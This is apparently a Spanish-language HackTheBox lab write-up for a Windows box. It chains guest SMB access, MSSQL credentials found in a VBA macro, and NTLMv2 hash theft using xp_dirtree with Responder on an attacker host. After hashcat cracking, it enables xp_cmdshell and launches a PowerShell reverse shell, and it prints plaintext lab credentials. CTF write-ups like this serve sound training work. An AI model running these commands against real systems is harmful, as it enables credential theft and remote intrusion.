Info de la Box
| Plataforma | HackTheBox |
| Dificultad | Medium |
| OS | Windows |
| Técnicas Clave | Explotación de MSSQL, VBA Macro Creds, Responder NTLMv2 Steal, xp_cmdshell |
Resumen del Ataque
SMB guest access al share “Reports” → descargamos archivo Excel con macro VBA que contenía credenciales MSSQL (reporting:PcwTWTHRwryjc$c6) → nos conectamos a MSSQL con el flag -windows-auth → el usuario reporting no podía correr xp_cmdshell → usamos Responder + xp_dirtree para robar el hash NTLMv2 de la service account de MSSQL → crackeamos el hash → nos reconectamos como service account con rol sysadmin → habilitamos xp_cmdshell → reverse shell → privesc.
Enumeración
sudo nmap -Pn -p- --min-rate=1000 -T4 -oN fast_tcp.txt $ip
| Puerto | Servicio | Notas |
|---|---|---|
| 445 | SMB | Guest access al share Reports |
| 1433 | MSSQL | El objetivo |
SMB — Archivo Excel con Macro
Encontramos un archivo Excel en el share Reports. Lo abrimos y revisamos las macros VBA — encontramos credenciales MSSQL hardcodeadas.
Creds de la macro: reporting:PcwTWTHRwryjc$c6
Foothold — MSSQL → Responder → Shell
Primera Conexión
impacket-mssqlclient reporting:'PcwTWTHRwryjc$c6'@$ip -windows-auth
# Conectados! Pero el usuario reporting no puede habilitar xp_cmdshell — no es sysadmin
Importante: tuve que usar el flag -windows-auth. SQL auth vs Windows auth importa. Sin este flag la conexión falla.
También: la password tiene $. Usar comillas simples en bash o el shell va a intentar expandirlo como variable.
Hash Steal — xp_dirtree + Responder
Como reporting no puede correr xp_cmdshell, usé xp_dirtree para hacer que el SQL server se conecte de vuelta a mi Responder y robar el hash NTLMv2 de la service account.
# En Kali — iniciar Responder
sudo responder -I tun0
# En MSSQL — triggear conexión de vuelta
xp_dirtree '\\KALI_IP\share'
# Responder captura el hash NTLMv2 de la service account de MSSQL
Crackear el Hash
hashcat -m 5600 ntlmv2_hash.txt /usr/share/wordlists/rockyou.txt
# Crackeamos la password de la service account
Reconectar como Sysadmin → Shell
# Reconectar con la service account (privilegios sysadmin)
impacket-mssqlclient svc_account:'password'@$ip -windows-auth
# Habilitar xp_cmdshell
enable_xp_cmdshell
# Reverse shell
xp_cmdshell 'powershell -e <BASE64_PAYLOAD>'
Lo Que Aprendí
Siempre probar -windows-auth con impacket-mssqlclient. SQL auth y Windows auth son diferentes. Si una falla probá la otra.
Passwords con $ necesitan comillas simples en bash. 'PcwTWTHRwryjc$c6' funciona, "PcwTWTHRwryjc$c6" no porque bash interpreta $c6 como una variable.
Macros VBA en archivos de Office son una fuente común de credenciales en boxes CTF y en la vida real. Siempre revisar shares SMB buscando archivos de Excel/Word e inspeccionar macros.
xp_dirtree + Responder = robar hash NTLMv2 cuando xp_cmdshell está denegado. El SQL server hace una conexión SMB a tu máquina, y Responder captura el hash de autenticación. Hashcat mode 5600 para NTLMv2.
Patrón: “Acceso MSSQL pero sin xp_cmdshell? Usar xp_dirtree + Responder para robar el hash de la service account. Crackearlo, reconectar con derechos sysadmin.”